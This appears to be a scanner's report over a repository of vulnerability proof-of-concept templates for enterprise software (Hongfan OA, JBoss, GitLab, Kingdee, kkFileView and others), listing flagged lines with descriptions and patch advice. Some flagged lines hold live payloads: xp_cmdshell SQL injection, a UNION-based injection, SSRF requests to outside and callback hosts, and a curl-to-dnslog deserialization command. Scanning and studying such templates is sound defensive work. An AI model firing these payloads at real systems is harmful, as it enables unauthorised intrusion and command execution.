description: Elasticsearch server is accessible without authentication, potentially exposing sensitive data and cluster information. reference: - https://www.elastic.co/guide/en/elasticsearch/reference/current/secure-cluster.html - Network accessline 7
reference: - https://www.elastic.co/guide/en/elasticsearch/reference/current/secure-cluster.html classification: - Network accessline 8
- https://www.elastic.co/guide/en/elasticsearch/reference/current/secure-cluster.html
pocs/public/fe_enterprise_login_bypass.yaml
- Network accessline 7
description: 飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。该平台在2.ln、loginService.fe等接口处存在登录绕过漏洞,未授权的攻击者可构造恶意的url访问页面,可直接进入后台管理页面,获取敏感信息,进一步利用可控制整个服务器。 reference: - "https://github.com/qingchenhh/qc_poc/blob/c1100e6f1140ec08b3362 - Network accessline 8
reference: - "https://github.com/qingchenhh/qc_poc/blob/c1100e6f1140ec08b3362fb71a6c9f197c518f7c/nuclei/fe-enterprise-bypass-login-config.yaml#L24" metadata: - Network accessline 9
- "https://github.com/qingchenhh/qc_poc/blob/c1100e6f1140ec08b3362fb71a6c9f197c518f7c/nuclei/fe-enterprise-bypass-login-config.yaml#L24" - Network accessline 12
fingerprint: 飞企互联-FE企业运营管理平台 publish_time: "2024-01-08" bug_solve: 关注厂商官网:https://ydyx.flyrise.cn/获取补丁或更新版本。 - Network accessline 13
publish_time: "2024-01-08" bug_solve: 关注厂商官网:https://ydyx.flyrise.cn/获取补丁或更新版本。 bug_web: https://ydyx.flyrise.cn/ - Network accessline 14
bug_solve: 关注厂商官网:https://ydyx.flyrise.cn/获取补丁或更新版本。 - Network accessline 15
bug_web: https://ydyx.flyrise.cn/
pocs/public/fe_uploadattachmentservlet_fileupload.yaml
- Network accessline 7
description: FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台uploadAttachmentServlet存在文件上传漏洞,攻击者可利用该漏洞上传恶意文件,获取服务器权限。 reference: - "https://github.com/wy876/POC" - Network accessline 8
reference: - "https://github.com/wy876/POC" metadata: - Network accessline 9
- "https://github.com/wy876/POC" - Network accessline 14
fingerprint: 飞企互联-FE企业运营管理平台 publish_time: "2024-04-08" bug_solve: "请关注厂商官网更新补丁:https://m.flyrise.cn/" - Network accessline 15
publish_time: "2024-04-08" bug_solve: "请关注厂商官网更新补丁:https://m.flyrise.cn/" bug_web: "https://m.flyrise.cn/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://m.flyrise.cn/" - Network accessline 17
bug_web: "https://m.flyrise.cn/"
pocs/public/fnOS_fileRead.yaml
- Network accessline 7
description: 飞牛OS(简称fnOS)是一款专为个人和家庭用户设计的国产NAS(网络附加存储)操作系统。它的目标是让普通人也能轻松搭建和管理属于自己的私有云盘和数据中心。漏洞影响1.1.15之前的旧版本系统。攻击者可以利用此漏洞,在不登录的情况下直接访问NAS设备上的任意文件,包括用户的私人文件和系统敏感配置。 reference: - "https://mrxn.net/jswz/dongsheng-Shipping-CompanysAccountG - Network accessline 8
reference: - "https://mrxn.net/jswz/dongsheng-Shipping-CompanysAccountGridSource-sqli.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/dongsheng-Shipping-CompanysAccountGridSource-sqli.html" - Network accessline 12
fingerprint: '飞牛-NAS' publish_time: "2026-01-29" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.fnnas.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2026-01-29" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.fnnas.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://www.fnnas.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.fnnas.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://www.fnnas.com/"
pocs/public/geoserver-default-login.yaml
pocs/public/gitlab-ssrf-cve-2021-22214.yaml
- Network accessline 7
description: GitLab 13.8 至 13.8.4、13.7.1 至 13.7.7 及 13.6.1 至 13.6.5 版本中,/api/v4/ci/lint 接口存在服务端请求伪造(SSRF)漏洞(CVE-2021-22214),攻击者可通过构造恶意 YAML 内容触发服务端向任意 URL 发起请求,用于探测内网或获取敏感信息。 reference: - "https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_G - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ" classification: - Network accessline 9
- "https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ" - Network accessline 28
{"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"}
pocs/public/glodon-console-default-login.yaml
- Network accessline 14
publish_time: "2022-03-08" bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.glodon.com - Network accessline 15
bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.glodon.com dangers_type: 默认口令漏洞 - Network accessline 16
bug_web: https://www.glodon.com
pocs/public/go-pprof-leak.yaml
- Network accessline 7
description: Go 语言应用在未关闭 pprof 调试接口的情况下部署到生产环境,攻击者可通过 /debug/pprof/ 路径获取应用的 CPU、内存、goroutine 等运行时性能数据,可能导致敏感信息泄露,为后续攻击提供线索。 reference: - "https://cloud.tencent.com/developer/news/312276" - Network accessline 8
reference: - "https://cloud.tencent.com/developer/news/312276" classification: - Network accessline 9
- "https://cloud.tencent.com/developer/news/312276"
pocs/public/goldlib-upload-upload.yaml
- Network accessline 8
金盘图书馆微信管理平台upload接口存在任意文件上传漏洞,攻击者通过漏洞可以获取权限。 reference: - "https://github.com/wy876/POC/blob/main/金盘/金盘移动图书馆系统upload存在任意文件上传漏洞.md" - Network accessline 9
reference: - "https://github.com/wy876/POC/blob/main/金盘/金盘移动图书馆系统upload存在任意文件上传漏洞.md" metadata: - Network accessline 10
- "https://github.com/wy876/POC/blob/main/金盘/金盘移动图书馆系统upload存在任意文件上传漏洞.md" - Network accessline 14
publish_time: "2025-02-21" dangers_type: "文件上传" bug_solve: "1、关注厂商官网:http://goldlib.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 15
dangers_type: "文件上传" bug_solve: "1、关注厂商官网:http://goldlib.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" bug_web: "http://goldlib.com.cn" - Network accessline 16
bug_solve: "1、关注厂商官网:http://goldlib.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 17
bug_web: "http://goldlib.com.cn"
pocs/public/grafana-default-login.yaml
- Network accessline 7
description: Grafana default admin login credentials were detected. reference: - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection - Network accessline 8
reference: - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection - https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page - Network accessline 9
- https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection - Network accessline 10
- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page - Network accessline 11
- https://github.com/grafana/grafana/issues/14755
pocs/public/hadoop-yarn-new-application-unauth.yaml
- Network accessline 12
fingerprint: "hadoop" publish_time: "2024-01-17" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://hadoop.apache.org/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2024-01-17" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://hadoop.apache.org/;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://hadoop.apache.org/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://hadoop.apache.org/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://hadoop.apache.org/"
pocs/public/hadoop-yarn-unauth.yaml
- Network accessline 7
description: Hadoop YARN ResourceManager 默认未启用身份认证,攻击者可直接访问 /ws/v1/cluster/info 等 REST API 接口获取集群信息,甚至提交恶意应用执行任意代码,导致集群资源被滥用或敏感数据泄露。 reference: - "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn" - Network accessline 8
reference: - "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn" classification: - Network accessline 9
- "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn"
pocs/public/hikvision-isecure-center-arbitrary-file-upload.yaml
pocs/public/hikvision-isecure-center-report-arbitrary-file-upload.yaml
pocs/public/hikvision_isecure_center_files_fileread.yaml
- Network accessline 12
publish_time: "2024-02-06" dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://www.hikvision.com/" - Network accessline 13
dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://www.hikvision.com/" bug_web: "https://www.hikvision.com/" - Network accessline 14
bug_solve: "请关注厂商官网更新补丁:https://www.hikvision.com/" - Network accessline 15
bug_web: "https://www.hikvision.com/"
pocs/public/hongfan-ioffice-ioAssistance-rce.yaml
- Network accessline 7
description: 红帆OA ioAssistance.asmx 注入RCE reference: - https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E7%BA%A2%E5%B8%86/oa%E7%BA%A2%E5%B8%86ioAssistance.asmx%E6%B3%A8%E5%85%A5RCE.py - Network accessline 8
reference: - https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E7%BA%A2%E5%B8%86/oa%E7%BA%A2%E5%B8%86ioAssistance.asmx%E6%B3%A8%E5%85%A5RCE.py metadata: - Network accessline 9
- https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E7%BA%A2%E5%B8%86/oa%E7%BA%A2%E5%B8%86ioAssistance.asmx%E6%B3%A8%E5%85%A5RCE.py - Network accessline 35
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 36
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 37
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 38
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 39
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 40
<soap:Body> <GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> <sql>exec master..xp_cmdshell "ipconfig"</sql> - Network accessline 41
<GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> - Network accessline 63
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 64
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 65
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 66
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 67
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 68
<soap:Body> <GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> <sql>exec master..xp_cmdshell "id"</sql> - Network accessline 69
<GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/">
pocs/public/hongfan-ioffice-ioAssistance2-rce.yaml
- Network accessline 7
description: 红帆OA ioAssistance2.asmx 注入RCE reference: - https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630171434/CVD-2023-1215.go#L17 - Network accessline 8
reference: - https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630171434/CVD-2023-1215.go#L17 metadata: - Network accessline 9
- https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630171434/CVD-2023-1215.go#L17 - Network accessline 23
Cache-Control: max-age=0 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" - Network accessline 24
Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" X-Forwarded-For: 127.0.0.1 - Network accessline 25
SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" - Network accessline 33
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 34
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 35
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 36
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 37
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 38
<soap:Body> <GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> <sql>exec master..xp_cmdshell "ipconfig"</sql> - Network accessline 39
<GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> - Network accessline 52
Cache-Control: max-age=0 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" - Network accessline 53
Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" X-Forwarded-For: 127.0.0.1 - Network accessline 54
SOAPAction: "http://tempuri.org/GetLoginedEmpNoReadedInf" - Network accessline 62
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 63
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 64
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 65
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 66
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 67
<soap:Body> <GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/"> <sql>exec master..xp_cmdshell "id"</sql> - Network accessline 68
<GetLoginedEmpNoReadedInf xmlns="http://tempuri.org/">
pocs/public/hongfan-ioffice-zyy_attfile-sqli.yaml
- Network accessline 7
description: 红帆OA zyy_AttFile.asmx SQL注入漏洞 reference: - https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630160608/CVD-2023-1265.go#L14 - Network accessline 8
reference: - https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630160608/CVD-2023-1265.go#L14 metadata: - Network accessline 9
- https://github.com/Anguvia/pxplan/blob/fd87ef720bf9e7550512ef22bf1f84c3895e8b1c/goby_pocs/10-13-crack/redteam_20230630160608/CVD-2023-1265.go#L14 - Network accessline 26
Cache-Control: max-age=0 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetFileAtt" - Network accessline 27
Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetFileAtt" X-Forwarded-For: 127.0.0.1 - Network accessline 28
SOAPAction: "http://tempuri.org/GetFileAtt" - Network accessline 36
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 37
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> - Network accessline 38
<soap:Body> <GetFileAtt xmlns="http://tempuri.org/"> <fileName>123' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)-- aCWL</fileName> - Network accessline 39
<GetFileAtt xmlns="http://tempuri.org/">
pocs/public/hongfan_ioffice_fileread.yaml
- Network accessline 14
publish_time: "2023-11-07" dangers_type: "文件读取" bug_solve: "请关注厂商官网更新版本:https://www.hongfan.cn/" - Network accessline 15
dangers_type: "文件读取" bug_solve: "请关注厂商官网更新版本:https://www.hongfan.cn/" bug_web: "https://www.hongfan.cn/" - Network accessline 16
bug_solve: "请关注厂商官网更新版本:https://www.hongfan.cn/" - Network accessline 17
bug_web: "https://www.hongfan.cn/"
pocs/public/iis-put-getshell.yaml
- Network accessline 7
description: IIS 服务器开启了 WebDAV 的 PUT 方法且未进行权限限制,攻击者可直接通过 PUT 请求向服务器写入任意文件(如 ASP/ASPX 脚本),从而获取 WebShell 实现远程代码执行。 reference: - "https://www.cnblogs.com/-mo-/p/11295400.html" - Network accessline 8
reference: - "https://www.cnblogs.com/-mo-/p/11295400.html" classification: - Network accessline 9
- "https://www.cnblogs.com/-mo-/p/11295400.html"
pocs/public/jboss-unauth.yaml
- Network accessline 7
description: JBoss Application Server 的 jmx-console 管理页面默认未配置身份认证,攻击者可直接访问 /jmx-console/ 查看和管理 MBean,进而通过部署恶意 WAR 包或调用危险 MBean 实现远程代码执行。 reference: - "https://xz.aliyun.com/t/6103" - Network accessline 8
reference: - "https://xz.aliyun.com/t/6103" classification: - Network accessline 9
- "https://xz.aliyun.com/t/6103"
pocs/public/jboss_4.2_to_4.3_info_disclosure.yaml
- Network accessline 6
description: JBoss Enterprise Application Platform (EAP) 4.2 and 4.3 expose sensitive information through the status servlet with the full parameter, revealing deployed web contexts and JVM details. reference: - https://www.jboss.org/ - Network accessline 7
reference: - https://www.jboss.org/ classification: - Network accessline 8
- https://www.jboss.org/
pocs/public/jboss_4.x_cmd_exec_CVE_2017_7504.yaml
- Network accessline 14
并通过 DNSLog 反连验证漏洞。 reference: - "https://www.jboss.org/" - Network accessline 15
reference: - "https://www.jboss.org/" - "https://nvd.nist.gov/vuln/detail/CVE-2017-7504" - Network accessline 16
- "https://www.jboss.org/" - Network accessline 17
- "https://nvd.nist.gov/vuln/detail/CVE-2017-7504" - Network accessline 33
# python {SKILL_ROOT}/scripts/deserialization_payload.py \ # --gadget CommonsCollections5 \ # --command "curl http://<dnslog-domain>" \ - Network accessline 34
# --gadget CommonsCollections5 \ # --command "curl http://<dnslog-domain>" \ # --format raw \ - Network accessline 35
# --command "curl http://<dnslog-domain>" \
pocs/public/jboss_all_weak_pass.yaml
- Network accessline 6
description: JBoss application server has default credentials (admin:admin) for the management console, allowing unauthorized access to administrative functions. reference: - https://www.jboss.org/ - Network accessline 7
reference: - https://www.jboss.org/ classification: - Network accessline 8
- https://www.jboss.org/
pocs/public/jenkins_unauthorized_access_and_command_execution.yaml
pocs/public/jira-cve-2019-11581.yaml
- Network accessline 8
Atlassian Jira Server 和 Data Center 中存在服务器端模板注入(SSTI)漏洞。攻击者可通过 ContactAdministrators 和 SendBulkMail 插件中的 Velocity 模板注入,在 Jira 服务器上执行任意命令,从而实现远程代码执行。 reference: - "https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10 - Network accessline 9
reference: - "https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html" classification: - Network accessline 10
- "https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html"
pocs/public/jmx-default-login.yaml
- Network accessline 7
description: JBoss JMX Console default login information was discovered. reference: - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html - Network accessline 8
reference: - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html classification: - Network accessline 9
- https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html
pocs/public/jupyter-lab-unauth.yaml
pocs/public/jupyter-notebook-unauthorized-access.yaml
- Network accessline 8
Jupyter Notebook 存在未授权访问漏洞,攻击者无需身份认证即可直接访问终端(Terminal)功能,进而可能在服务器上执行任意命令,导致服务器被完全控制。 reference: - "https://vulhub.org/#/environments/jupyter/notebook-rce/" - Network accessline 9
reference: - "https://vulhub.org/#/environments/jupyter/notebook-rce/" classification: - Network accessline 10
- "https://vulhub.org/#/environments/jupyter/notebook-rce/"
pocs/public/kibana-unauth.yaml
- Network accessline 8
Kibana 存在未授权访问漏洞,攻击者无需身份认证即可直接访问 Kibana 仪表盘页面,获取 Elasticsearch 中存储的敏感数据和日志信息,可能导致数据泄露。 reference: - "https://zhuanlan.zhihu.com/p/61215662" - Network accessline 9
reference: - "https://zhuanlan.zhihu.com/p/61215662" classification: - Network accessline 10
- "https://zhuanlan.zhihu.com/p/61215662"
pocs/public/kingdee_Cloud_ServiceGateway_rce.yaml
- Network accessline 8
金蝶云星空管理中心在servicegateway-getserviceuri-common存在反序列化漏洞,外部攻击者可通过使用恶意攻击手段对目标系统进行权限获取,进而接管服务器控制权。 reference: - https://github.com/CrackerCat/wy876-wiki/commit/58427708b99e19353a09f643a838fcef96aa9382 - Network accessline 9
reference: - https://github.com/CrackerCat/wy876-wiki/commit/58427708b99e19353a09f643a838fcef96aa9382 metadata: - Network accessline 10
- https://github.com/CrackerCat/wy876-wiki/commit/58427708b99e19353a09f643a838fcef96aa9382 - Network accessline 14
publish_time: "2023-8-4" dangers_type: "命令执行" bug_solve: 关注厂商官网及时更新补丁:https://www.kingdee.com/" - Network accessline 15
dangers_type: "命令执行" bug_solve: 关注厂商官网及时更新补丁:https://www.kingdee.com/" bug_web: "https://www.kingdee.com/" - Network accessline 16
bug_solve: 关注厂商官网及时更新补丁:https://www.kingdee.com/" - Network accessline 17
bug_web: "https://www.kingdee.com/"
pocs/public/kingdee_erp_kdsvc_rce.yaml
- Network accessline 7
description: 金蝶云星空是一款云端企业资源管理(ERP)软件,为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织,多利润中心的大中型企业,以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖:财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务,帮助企业实现数字化营销新生态及管理重构等,提升企业数字化能力。金蝶云星空存在远程代码执行漏洞,该漏洞是由于金蝶云星空管理中心的通 - Network accessline 8
reference: - https://mp.weixin.qq.com/s/m8Z7pRjETAFw3Akk1ZETLw metadata: - Network accessline 9
- https://mp.weixin.qq.com/s/m8Z7pRjETAFw3Akk1ZETLw - Network accessline 13
publish_time: "2024-01-08" dangers_type: "命令执行" bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1、https://vip.kin - Network accessline 14
dangers_type: "命令执行" bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1、https://vip.kingdee.com/article/39054575655552 - Network accessline 15
bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1、https://vip.kingdee.com/article/390545756555520256?productLineId=1&isKn - Network accessline 16
bug_web: "https://www.kingdee.com/"
pocs/public/kkFileView_CVE-2022-43140_SSRF.yaml
- Network accessline 7
description: Keking kkFileView文件文档在线预览项目存在SSRF漏洞,攻击者通过将精心制作的URL注入url参数来强制应用程序发出任意请求。 reference: - https://github.com/kekingcn/kkFileView/issues/392 - Network accessline 8
reference: - https://github.com/kekingcn/kkFileView/issues/392 classification: - Network accessline 9
- https://github.com/kekingcn/kkFileView/issues/392 - Network accessline 24
- raw: - | GET /getCorsFile?urlPath={{base64("http://{{interactsh-url}}")}} HTTP/1.1 - Network accessline 25
- | GET /getCorsFile?urlPath={{base64("http://{{interactsh-url}}")}} HTTP/1.1 Host: {{Hostname}} - Network accessline 26
GET /getCorsFile?urlPath={{base64("http://{{interactsh-url}}")}} HTTP/1.1
pocs/public/kuboard-default-login-2.yaml
- Possible obfuscationline 8
Kuboard<U+200C>是一款免费的Kubernetes管理工具,旨在提供一个直观、功能丰富的用户界面,帮助用户更轻松地管理和监控Kubernetes集群。Kuboard提供了多种功能,包括资源管理、日志监控、事件查看等,使得用户无需深入了解Kubernetes的命令行操作,即可方便地管理集群中的各种资源<U+200C>。攻击者可通过默认密码接管服务。 - Network accessline 13
dangers_type: "弱密码" bug_solve: "1、禁止公网访问;2、修改默认口令,最好包含大小写字母、数字和特殊字符等,且位数大于8位。" bug_web: "https://kuboard.cn/" - Network accessline 14
bug_solve: "1、禁止公网访问;2、修改默认口令,最好包含大小写字母、数字和特殊字符等,且位数大于8位。" bug_web: "https://kuboard.cn/" CNNVD_number: "" - Network accessline 15
bug_web: "https://kuboard.cn/" - Network accessline 30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://{{Hostname}} - Network accessline 31
Sec-Ch-Ua-Platform: "Windows" Origin: https://{{Hostname}} Sec-Fetch-Site: same-origin - Network accessline 32
Origin: https://{{Hostname}} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors - Network accessline 34
Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld - Network accessline 35
Sec-Fetch-Dest: empty Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld Accept-Encoding: gzip, deflate - Network accessline 36
Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld - Network accessline 50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://{{Hostname}} - Network accessline 51
Sec-Ch-Ua-Platform: "Windows" Origin: https://{{Hostname}} Sec-Fetch-Site: same-origin - Network accessline 52
Origin: https://{{Hostname}} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors - Network accessline 54
Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld - Network accessline 55
Sec-Fetch-Dest: empty Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld Accept-Encoding: gzip, deflate - Network accessline 56
Referer: https://{{Hostname}}/sso/auth/default?req=tnvz3dbquwlaf6r4ffbvqm6ld
pocs/public/kyocera-printer-default-login.yaml
- Network accessline 26
publish_time: "2022-11-21" bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.kyoceraconnect.com/ - Network accessline 27
bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.kyoceraconnect.com/ dangers_type: 默认口令漏洞 - Network accessline 28
bug_web: https://www.kyoceraconnect.com/
pocs/public/landray_EIS_UniformEntry_sqli.yaml
- Network accessline 7
description: 蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该平台集成了各种协同工具和功能,旨在提升企业内部沟通、协作和信息共享的效率。蓝凌EIS智慧协同平台UniformEntry.aspx存在SQL注入漏洞。攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。 reference: - "https://mp.weixin.qq.com/s/e7WtFISqpDjl_JJlC6CouA" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/e7WtFISqpDjl_JJlC6CouA" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/e7WtFISqpDjl_JJlC6CouA" - Network accessline 13
fingerprint: 蓝凌EIS publish_time: "2024-01-10" bug_solve: 关注厂商官网:https://www.landray.com.cn获取补丁或更新版本。 - Network accessline 14
publish_time: "2024-01-10" bug_solve: 关注厂商官网:https://www.landray.com.cn获取补丁或更新版本。 bug_web: "https://www.landray.com.cn" - Network accessline 15
bug_solve: 关注厂商官网:https://www.landray.com.cn获取补丁或更新版本。 - Network accessline 16
bug_web: "https://www.landray.com.cn"
pocs/public/microsoft-windows-httpsys-cve-2015-1635.yaml
- Network accessline 8
A remote code execution vulnerability exists in Microsoft Windows HTTP Protocol Stack (HTTP.sys) that is triggered when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who successfully exploits this vulnerability cou - Network accessline 9
reference: - https://nvd.nist.gov/vuln/detail/CVE-2015-1635 - https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-034 - Network accessline 10
- https://nvd.nist.gov/vuln/detail/CVE-2015-1635 - Network accessline 11
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-034
